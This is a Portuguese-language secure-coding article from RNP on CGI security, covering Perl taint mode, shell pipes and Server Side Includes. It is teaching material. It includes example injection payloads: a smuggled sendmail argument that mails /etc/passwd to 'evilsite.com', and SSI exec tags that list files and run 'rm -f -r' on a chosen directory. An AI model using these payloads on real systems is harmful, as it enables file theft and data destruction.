Antonio Paulo Salgado Forster <forster@na-cp.rnp.br>
Rede Nacional de Ensino e Pesquisa (RNP)
Introdução ao CGI 
Linguagens de programação 
Taint Mode 
Pipes para o Shell 
Outras técnicas de programação 
Cuidados com Server sides includes 
O Common Gateway Interface, CGI, possibilita ao programador WWW desenvolver aplicações interativas, de uma maneira fácil, entre um cliente (browser) e o servidor WWW. No entanto, pode também criar brechas de segurança que vão permitir, desde a obtenção de informações sobre o sistema, até, no caso de um servidor WWW mal configurado, a devastação dos sistemas de arquivos do servidor.
Este artigo tem como objetivo comentar o aspecto de segurança da programação CGI através de dicas de programação, configuração e exemplos.
Introdução ao CGI
A programação CGI pode ser descrita como o desenvolvimento de aplicações que fazem uso do Common Gateway Interface para troca de informações com o servidor Web através dessa poderosa interface.
Comumente, os programas CGI são executados a partir de formulários. Entretanto, podem também ser executados a partir de comandos em uma página HTML, através de tags SSI (Server Side Includes, descritos ao longo do artigo).
A programação CGI difere da programação tradicional, basicamente, devido ao seu ambiente e sua função de gateway entre o cliente e o servidor, o que acaba influenciando muito no aspecto segurança (deve-se lembrar que essas aplicações operam em um ambiente inseguro e que, teoricamente, podem ser executados por qualquer pessoa).
Para o desenvolvimento de boas aplicações, é interessante que o programador tenha conhecimentos básicos em HTML, cabeçalhos do HTTP e alguma experiência com uma linguagem de programação, assuntos estes que serão tratados brevemente no artigo.
Linguagens de programação
Várias linguagens de programação são utilizadas para programação CGI, sendo algumas mais adequadas que outras. Neste artigo, utiliza-se o Perl por ser uma linguagem bastante poderosa, segura e, portanto, a mais utilizada.
Muitos preferem binários ao invés de scripts, utilizando assim linguagens como o C. A principal vantagem do uso de linguagens compiladas é a velocidade de execução, mas, nesse caso, há a enorme desvantagem do fato de que o programador terá bastante trabalho no tratamento de RegEx (Regular Expressions) e de exceções e erros, que são pontos bastante fortes do Perl.
Outras linguagens de programação também são utilizadas, como C-shell por exemplo, mas normalmente só para aplicações pequenas.
Taint Mode
A primeira grande preocupação no desenvolvimento de um script CGI seguro é com relação às fontes de informação e entrada de dados. É bastante aconselhável que se façam verificações nos dados recebidos do cliente e/ou de arquivos antes de usá-los indiscriminadamente. Essa é uma das vantagens de se usar o Taint Mode. Mas o que vem a ser esse Taint Mode?
Trata-se de um modo de execução do interpretador Perl que ativa uma série de checagens de segurança, normalmente utilizadas quando o script está sendo executado com privilégios extras, como SetUID, por exemplo. No caso do CGI, é aconselhável que se tenha essa opção ativada para evitar que determinadas características (features) do script sejam executadas com outras intenções (o que se configura uma falha ou bug), como é o caso do famoso phf. A programação pode se tornar um pouco mais complicada quando esse modo for utilizado, mas, com certeza, mais segura.
O Taint Mode é ativado através do flag -T na chamada do interpretador no início de script, como no exemplo abaixo:
#!/usr/local/bin/perl -T
                           
                           
Se o programador ativar esse flag em qualquer script que não tenha sido programado prevendo-se o
                           uso do Taint Mode, com certeza ele poderá perceber uma série de erros, terminando a execução com algum erro fatal.
                           Isso ocorrerá porque, quando nesse modo de execução, qualquer problema de segurança detectado resultará em erro e a execução
                           será interrompida. As causas dos erros podem ser muitas: uso de pipes para o shell sem o caminho completo,
                           arquivos de entrada de dados que qualquer um poderia ter escrito, executáveis de fonte duvidosa, etc. Mais informações sobre
                           esse modo de execução podem ser encontradas na man page "perlsec", que acompanha a distribuição do Perl.
Pipes para o Shell
Deve-se, obrigatoriamente, fazer uma verificação nos dados a serem passados para o shell, em busca de caracteres estranhos ou com significados especiais (Um paper completo a respeito de meta-caracteres foi publicado pouco tempo atrás, com exemplos de filtros e outras informações: Cert Advisory CA-97.25.CGI_Metachar).
Problemas com metacaracteres são bastante comuns em scripts CGI desenvolvidos para envio de mensagens, onde os dados vindos do campo "Destino" (ou algo parecido) não são filtrados. Assim, o script ainda tem uma linha para enviar a mensagem como no exemplo abaixo:
...
...
open MAIL, "| /usr/lib/sendmail $destino"
|| die "Cant open pipe: $!\n";
...
...
Imaginem o que seria enviado caso um usuário digitasse o seguinte conteúdo (ou algo parecido) nesse campo "Destino":
"nobody@nodomain ; cat /etc/passwd | mail me@evilsite.com"
Um bom modo de evitar o tipo de problema do exemplo acima seria fazer com que o sendmail não obtivesse dados na linha de comando. A opção -t do sendmail fará com que dados sejam lidos separadamente dentro da mensagem. Isto é, ele procurará os campos "To:", "Cc:", "From:" e outros dentro da mensagem, não os aceitando como argumentos em sua chamada.
A partir desse exemplo, pode-se perceber que caracteres como ";" e "|" são perigosos se não filtrados. Uma simples chamada do comando cat para leitura de um arquivo local indicado por um formulário seria suficiente para a execução de qualquer comando na máquina que roda o servidor WWW.
Outras técnicas de programação
Cuidados com Server sides includes
Server Side Includes podem ser "uma mão na roda" para programadores e webmasters, mas pode oferecer perigo em algumas situações. Através de SSI, um usuário pode executar comandos com a mesma prioridade do servidor WWW, e isto pode causar grandes problemas.
Preferencialmente, arquivos com extensão .shtml (esta é a default, mas os parsed documents podem também ser todos os .html, dependendo de como o servidor WWW foi configurado) devem ser agrupados em um único diretório, e o servidor só deve reconhecê-los neste diretório em questão. Isto impedirá que usuários não autorizados utilizem SSI (o servidor deve ser configurado com a opção Option Includes somente neste diretório).
Um bom exemplo do por que de não se liberar SSI para todos os diretórios são os famosos Guest Books. Imagine se alguém mal intencionado resolve "assinar" o Guest Book que seu usuário colocou em seu home sem você nem saber, e no campo onde deveria colocar seu nome, coloca o seguinte conteúdo:
<!--#exec cmd="/usr/bin/find
                           / -user nobody -print" -->
                                   
                           Ao chamar a página onde deveriam constar os nomes, o usuário veria o caminho de todos os arquivos pertencentes ao usuário nobody e, portanto, poderia escolher um certo diretório dessa lista, e "assinar" o Guest Book novamente.
<!--#exec cmd="/usr/bin/rm -f -r DIR_ESCOLHIDO" -->
Resultado disso tudo? Esse usuário "super-legal" poderia ter apagado, por exemplo, todo o cache de um servidor proxy instalado na máquina.
Esse foi apenas um exemplo do se pode fazer através do SSI. Justamente devido ao perigo que o poder das features do SSI apresentam, deve-se restringir seu uso e aplicação a usuários em quem você pode confiar.
No caso de ser necessário que informações recebidas por formulários sejam mostradas em páginas .shtml, deve-se construir filtros para que diretivas SSI sejam ignoradas. Segue, abaixo, dois exemplos de filtros que ignorariam qualquer texto dentro de <!--# e -->:
                                     
                                   
                           $texto=~s/(\<\!--#.*?--\>)/ LIXO SSI /gi;
$texto=~s/(\<\!--#)(.*?)(--\>)/\<\!--#$2--\>/gi;
O primeiro filtro troca qualquer valor entre "<!--# e -->" por "LIXO SSI", enquanto o segundo transforma a tag em um texto comum imprimível em HTML.
NewsGeneration, um serviço oferecido pela RNP – Rede Nacional de Ensino e Pesquisa 
Copyright © RNP, 1997 – 2004
                           






